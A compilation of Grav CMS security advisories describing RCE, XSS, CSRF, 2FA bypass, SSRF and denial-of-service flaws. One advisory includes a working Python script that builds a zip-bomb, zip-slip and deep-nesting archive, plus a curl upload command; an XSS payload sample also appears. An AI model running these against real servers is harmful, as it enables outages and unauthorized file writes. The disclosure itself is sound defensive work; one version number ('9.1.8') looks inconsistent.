Grav CMS before 2.0.13 contains a remote code execution vulnerability in the Flex Objects plugin settings validation that allows authenticated users to execute arbitrary code by uploading a ZIP file containing PHP code. Attackers can bypass routine name validation by using array notation instead of string notation, call the unZip routine with a malicious archive, and write PHP files to the web root for execution.
Grav CMS versions 2.0.7 through 2.0.10 fail to validate fully-qualified static method calls (Class::method) in blueprint dynamic-field directives because Blueprint::isSafeDynamicCall() only applies its dangerous-callable denylist to strings that do not contain '::'. An account with only page-editing rights (admin.pages, not super-admin or admin.pages_twig) can plant a directive in a page's form-field frontmatter that invokes an arbitrary public static PHP method with attacker-controlled arguments. Using built-in gadget methods this allows reading of any server-readable file (disclosed to anonymous visitors of the crafted page) and arbitrary creation/copying of files and directories under the web-server account. Fixed in 2.0.11.
Grav versions >= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-*@: directives by calling call_user_func_array() on attacker-influenced input, validating only that the target is callable (is_callable()) without restricting dangerous functions such as exec, system, passthru, or shell_exec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server.
Grav versions from 0 up to but not including 2.0.7 contain a remote code execution vulnerability in the Blueprint::dynamicData() function. This flaw allows an authenticated user with admin.pages or api.pages.write permissions to inject malicious callable code into page frontmatter. When the page is accessed by any visitor, including unauthenticated ones, the injected code executes with the web server's privileges. The vulnerability was fixed in Grav version 2.0.7.
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.0-rc.16 shipped Access-Control-Allow-Origin: * as its default CORS configuration on all responses, including authenticated endpoints and preflight (OPTIONS) responses. Because the plugin accepts credentials via the Authorization and X-API-Token headers (set programmatically by JavaScript rather than via cookies), an attacker who obtains a valid access token (e.g., via log leakage, Referer headers, browser history, or network capture) can issue fully authenticated cross-origin requests from any malicious website to read sensitive data and perform write operations as the token's user. Fixed in 1.0.0-rc.16.
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.0-rc.16 accepts JWT access tokens through the ?token= URL query parameter on every API route (JwtAuthenticator::extractBearerToken fallback). Because tokens are embedded in URLs, they are logged verbatim in web server access logs, leaked via the Referer header, stored in browser history, and captured by upstream proxy and CDN logs, exposing valid admin access tokens. A leaked token grants unauthorized API access, including reading configuration and user data, creating admin accounts, modifying system settings, and deleting pages.
Grav before 2.0.4 contains a regular expression denial of service (ReDoS) vulnerability in the regex_replace filter and function, which are allowlisted in the Twig content sandbox. When Twig processing in page content is enabled (security.twig_content.process_enabled: true, disabled by default), an authenticated page editor can supply a catastrophically backtracking PCRE pattern that is passed directly to PHP's preg_replace(), causing unbounded CPU consumption and denial of service to the web server process.
grav-plugin-login before 3.8.11 contains a cross-site request forgery (CSRF) vulnerability in the login.regenerate2FASecret frontend task, which regenerates and persists a new TOTP secret for the authenticated session user without any anti-CSRF nonce or Origin/Referer check. Because Grav core dispatches the task from the GET 'task:' URI parameter and the default session cookie is SameSite=Lax, an attacker can lure a logged-in victim to an off-site page that performs a top-level GET navigation, rotating the victim's TOTP secret so their enrolled authenticator no longer matches the server, effectively forcing 2FA re-enrollment. Sites configured with session.samesite: Strict are not affected.
Grav Flex-Objects before version 1.4.3 contains a broken access control vulnerability in the admin-next REST API that allows authenticated users with only api.access permission to perform unauthorized CRUD operations on permission-less directories. Attackers with api.access credentials can create, read, update, delete, and export objects from any directory lacking an explicit permissions configuration, bypassing intended authorization controls.
Grav before 2.0.4 fails to restrict cURL protocols in webhook dispatch, allowing authenticated users with api.webhooks.write permission to create webhooks with file://, dict://, or gopher:// URLs. Attackers can trigger webhook events to read local files, access process information, or pivot to internal services via unrestricted protocol handlers.
grav-plugin-api before 1.0.6 fails to validate super-admin status in createApiKey, generate2fa, and disable2fa endpoints, allowing non-super api.users.write managers to escalate to super-admin. Attackers can mint API keys bound to super-admin accounts or strip 2FA from super-admin users to achieve full instance takeover.
Grav before 2.0.4 contains a two-factor authentication bypass vulnerability in the login plugin where the regenerate2FASecret task checks only user existence, not authorization, during the pending TOTP challenge window. Attackers who know the victim's password can call this task without a CSRF nonce to overwrite the 2FA secret with an attacker-chosen value, compute a valid TOTP code, and complete authentication while reducing 2FA to password-only protection.
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.6 contains an authorization bypass: API keys can be created with a restricted scopes array, but the ApiKeyAuthenticator class never reads or enforces these scopes. It loads and returns the owning user's full account object, so a key created with limited scopes (e.g. read-only) can perform any write, delete, or administrative operation the owning user is authorized for. Fixed in 1.0.6.
Grav before 2.0.4 ships a default .htaccess (and reference webserver-configs/htaccess.txt) whose rules blocking access to sensitive file types (.yaml, .php, .json, etc.) lack the [NC] flag, making extension matching case-sensitive. On case-insensitive filesystems (Windows/NTFS, macOS/HFS+, or Docker volume mounts), an unauthenticated attacker can request these files with uppercase or mixed-case extensions (e.g., .YAML, .PHP) to bypass the restrictions and read sensitive configuration files that may contain API keys and credentials.
Grav before 9.1.8 contains an arbitrary file write vulnerability in the Form plugin's process.save.filename parameter, which is validated against path traversal before Twig processing but never re-validated after rendering. Attackers can submit form data containing path traversal sequences that are processed through Twig templates, allowing them to write arbitrary files including PHP webshells to the web root or other sensitive directories.
Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.
Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry's ZIP central-directory header (ZipArchive::statIndex()['size']) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56.
### Summary
An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method `Installer::unZip()` calls `ZipArchive::extractTo()` without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion.
### Details
The vulnerability is in `system/src/Grav/Common/GPM/Installer.php:176-208` (`Installer::unZip()`). The `ZipArchive::extractTo()` call at line 184 is not preceded by any validation of the archive contents.
Missing validation:
- ❌ No total uncompressed size check (decompression bomb — CWE-409)
- ❌ No entry count check (inode exhaustion)
- ❌ No directory nesting depth check (stack overflow in `Folder::doDelete()` — CWE-674)
The subsequent cleanup call `Folder::delete($destination)` at line 189 recursively deletes every subdirectory without depth limit (`Folder.php:531-547`). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.
The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for `../` in entry paths and does not add any size, count, or depth limits.
### PoC
1. Generate the malicious ZIP:
python3 cve_poc_grav_zip.py:
```python
#!/usr/bin/env python3
"""
CVE PoC — Grav CMS Installer::unZip()
Zip Bomb + Zip Slip + Deep Nesting
ZIP file to attach to the CVE advisory.
Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409)
which has NO CVE — extracted size/depth/count have no limits.
"""
import zipfile, os, sys
OUT = "/tmp/cve_poc_grav.zip"
def build():
with zipfile.ZipFile(OUT, 'w', zipfile.ZIP_DEFLATED) as z:
# --- Zip Slip: arbitrary write outside target ---
z.writestr("../../../tmp/CVE_POC_SLIP", "ZIP SLIP: writes outside target\n")
# --- Deep nesting: 100 levels → Folder::delete() has no depth limit ---
for i in range(100):
z.writestr(f"deep/{'x/' * i}.keep", "")
# --- Compression bomb: 100 identical files = ratio ~ 196:1 ---
for i in range(100):
z.writestr(f"bomb/{i}.dat", b"A" * 100_000)
with zipfile.ZipFile(OUT) as z:
infos = z.infolist()
compressed = os.path.getsize(OUT)
uncompressed = sum(e.file_size for e in infos)
slip = any(".." in e.filename for e in infos)
depths = [e.filename.count('/') for e in infos]
print("=" * 60)
print("CVE PoC — Grav CMS Installer::unZip()")
print("Zip Bomb | Zip Slip | Deep Nesting")
print("=" * 60)
print(f"File : {OUT}")
print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)")
print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)")
print(f"Ratio : {uncompressed/compressed:.0f}:1")
print(f"Entries : {len(infos)}")
print(f"Max depth : {max(depths) if depths else 0}")
print(f"Zip Slip (../) : {'YES' if slip else 'NO'}")
print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall")
print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write")
if __name__ == "__main__":
build()
```
3. Authenticate as admin.super and retrieve the nonce from /admin
4. Upload through Direct Install:
```
curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \
-H 'Cookie: grav-admin=<SESSION>' \
-F 'admin-nonce=<NONCE>' \
-F 'uploaded_file=@/tmp/cve_poc_grav.zip'
```
Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion.
### Impact
An authenticated administrator (admin.super) can:
- Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs)
- Exhaust inodes via thousands of small files
- Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently
- Partially or fully deny service to all users (both authenticated and unauthenticated)
CVE-2026-53653 is a high-severity vulnerability in the Grav CMS that allows unauthenticated attackers to cause a denial of service by requesting image resizes with excessively large dimensions. The flaw arises because the system does not limit the size of image resize parameters, leading to excessive memory and CPU consumption. This can crash the server by exhausting resources. A patch is available that introduces configurable limits on image resize dimensions to prevent abuse.
Grav is a file-based Web platform. Prior to 2.0.0-rc.9, Grav's incomplete fix for stored XSS through the Markdown media attribute action (CVE-2026-42841) leaves the sibling MediaObjectTrait::style method reachable through the same Markdown excerpt-action pipeline, allowing an editor to save Markdown image style parameters that are written into the rendered img style attribute without sanitization. This issue is fixed in version 2.0.0-rc.9.